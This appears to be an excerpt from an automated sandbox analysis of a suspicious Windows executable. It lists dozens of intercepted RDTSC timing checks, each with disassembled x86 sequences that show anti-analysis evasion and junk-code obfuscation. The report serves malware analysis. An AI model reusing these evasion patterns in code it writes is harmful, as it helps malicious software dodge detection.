0x00000066 push edi 0x00000067 push eax 0x00000068 push edx 0x00000069 push ebx 0x0000006a pop ebx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B99667 second address: B99676 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B2D2 second address: B9B2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F43610807B5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B2EE second address: B9B36E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F43610E8A80h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F43610E8A78h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e or dword ptr [ebp+122D1AA0h], edi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F43610E8A78h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 pushad 0x00000051 sub dword ptr [ebp+122D1CCCh], edx 0x00000057 mov ecx, dword ptr [ebp+1247F4D1h] 0x0000005d popad 0x0000005e mov dword ptr [ebp+12479665h], edx 0x00000064 xchg eax, esi 0x00000065 pushad 0x00000066 jo 00007F43610E8A7Ch 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B36E second address: B9B376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B376 second address: B9B37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B4C7 second address: B9B4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9C570 second address: B9C57F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B4CB second address: B9B4D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9D5CA second address: B9D5CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B4D5 second address: B9B4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9D5CE second address: B9D67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a adc di, E1E5h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr [ebp+122D2047h], esi 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 jns 00007F43610E8A7Bh 0x00000029 mov eax, dword ptr [ebp+122D0DD1h] 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007F43610E8A78h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 or ebx, dword ptr [ebp+122D36C3h] 0x0000004f mov di, 4A27h 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push esi 0x00000058 call 00007F43610E8A78h 0x0000005d pop esi 0x0000005e mov dword ptr [esp+04h], esi 0x00000062 add dword ptr [esp+04h], 00000018h 0x0000006a inc esi 0x0000006b push esi 0x0000006c ret 0x0000006d pop esi 0x0000006e ret 0x0000006f nop 0x00000070 jg 00007F43610E8A8Ah 0x00000076 push eax 0x00000077 pushad 0x00000078 jno 00007F43610E8A7Ch 0x0000007e push eax 0x0000007f push edx 0x00000080 jng 00007F43610E8A76h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9C65A second address: B9C65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9B4D9 second address: B9B4DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA0672 second address: BA0678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9D67D second address: B9D681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9C65E second address: B9C681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F43610807B1h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jno 00007F43610807A6h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA0678 second address: BA067C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9C681 second address: B9C686 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9E618 second address: B9E63C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43610E8A89h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA067C second address: BA068F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA068F second address: BA0693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B9F7B8 second address: B9F7BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA0693 second address: BA0699 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA1871 second address: BA18B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d mov bl, 0Bh 0x0000000f push 00000000h 0x00000011 ja 00007F43610807ACh 0x00000017 push 00000000h 0x00000019 sub ebx, dword ptr [ebp+122D354Bh] 0x0000001f xchg eax, esi 0x00000020 jng 00007F43610807AEh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA18B3 second address: BA18B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA18B7 second address: BA18C1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA08B3 second address: BA08B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA08B9 second address: BA08BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA0969 second address: BA096F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA4A39 second address: BA4A74 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F43610807B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jl 00007F43610807A6h 0x00000012 jmp 00007F43610807AEh 0x00000017 pop ecx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jl 00007F43610807A6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA4A74 second address: BA4A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B500EB second address: B500FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F43610807A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BA7E14 second address: BA7E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BAB9AE second address: BAB9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BAB9B2 second address: BAB9C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push edx 0x00000009 ja 00007F43610E8A76h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BAB9C6 second address: BAB9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BAFE57 second address: BAFE5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BAFE5B second address: BAFE65 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BAFF60 second address: BAFF6A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B494EA second address: B49507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807B4h 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BB565A second address: BB566A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F43610E8A76h 0x00000008 jbe 00007F43610E8A76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BB566A second address: BB5682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BB5682 second address: BB5690 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BB5E37 second address: BB5E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F43610807A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BB5E44 second address: BB5E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BBA81E second address: BBA82F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F43610807A6h 0x00000009 jno 00007F43610807A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BBA82F second address: BBA865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610E8A84h 0x00000009 popad 0x0000000a jmp 00007F43610E8A87h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BBA865 second address: BBA893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F43610807A6h 0x0000000a jmp 00007F43610807ACh 0x0000000f popad 0x00000010 jmp 00007F43610807ADh 0x00000015 jg 00007F43610807AEh 0x0000001b push esi 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BBACFA second address: BBAD15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F43610E8A81h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BBE53C second address: BBE542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2C08 second address: BC2C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2C0E second address: BC2C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2C12 second address: BC2C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2C1D second address: BC2C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jc 00007F43610807A6h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jno 00007F43610807A6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007F43610807A6h 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2C41 second address: BC2C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: BC2C45 second address: BC2C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B4B000 second address: B4B016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F43610E8A7Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B4B016 second address: B4B01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B4B01A second address: B4B026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B88FBB second address: B88FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B88FBF second address: B88FE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007F43610E8A78h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B88FE1 second address: B710F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2047h], edx 0x0000000e call dword ptr [ebp+122D1A8Ah] 0x00000014 jmp 00007F43610807B3h 0x00000019 push edi 0x0000001a jnl 00007F43610807ACh 0x00000020 jbe 00007F43610807A6h 0x00000026 push eax 0x00000027 push edx 0x00000028 jbe 00007F43610807A6h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89085 second address: B8908B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8908B second address: B8908F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8908F second address: B89139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F43610E8A78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 cld 0x00000026 push dword ptr fs:[00000000h] 0x0000002d ja 00007F43610E8A76h 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov ch, 6Fh 0x0000003c mov dword ptr [ebp+12484D7Dh], esp 0x00000042 mov edi, 5C5BF70Bh 0x00000047 cmp dword ptr [ebp+122D35E7h], 00000000h 0x0000004e jne 00007F43610E8B47h 0x00000054 mov dword ptr [ebp+122D19A5h], eax 0x0000005a jmp 00007F43610E8A80h 0x0000005f mov byte ptr [ebp+122D1D4Ah], 00000047h 0x00000066 mov edi, dword ptr [ebp+122D3667h] 0x0000006c mov eax, D49AA7D2h 0x00000071 jmp 00007F43610E8A7Ah 0x00000076 xor dx, CAD7h 0x0000007b nop 0x0000007c jmp 00007F43610E8A84h 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 push esi 0x00000085 push edx 0x00000086 pop edx 0x00000087 pop esi 0x00000088 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89139 second address: B89143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F43610807A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89434 second address: B89438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B895F5 second address: B895F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B895F9 second address: B89603 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89603 second address: B89609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89739 second address: B8973D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89A98 second address: B89A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B89A9C second address: B89AFA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jc 00007F43610E8A76h 0x0000000d pop edx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 movsx edi, si 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F43610E8A78h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 sub di, E0CDh 0x00000036 nop 0x00000037 push esi 0x00000038 jmp 00007F43610E8A89h 0x0000003d pop esi 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 pushad 0x00000043 popad 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A02A second address: B8A036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A036 second address: B8A03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A03A second address: B8A040 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A1E2 second address: B8A1FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F43610E8A7Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A1FF second address: B8A209 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F43610807ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A2E0 second address: B8A322 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F43610E8A78h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jc 00007F43610E8A7Ch 0x0000002a mov dword ptr [ebp+1247F492h], edx 0x00000030 lea eax, dword ptr [ebp+12484D69h] 0x00000036 mov ecx, edx 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A322 second address: B8A328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8A328 second address: B8A32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
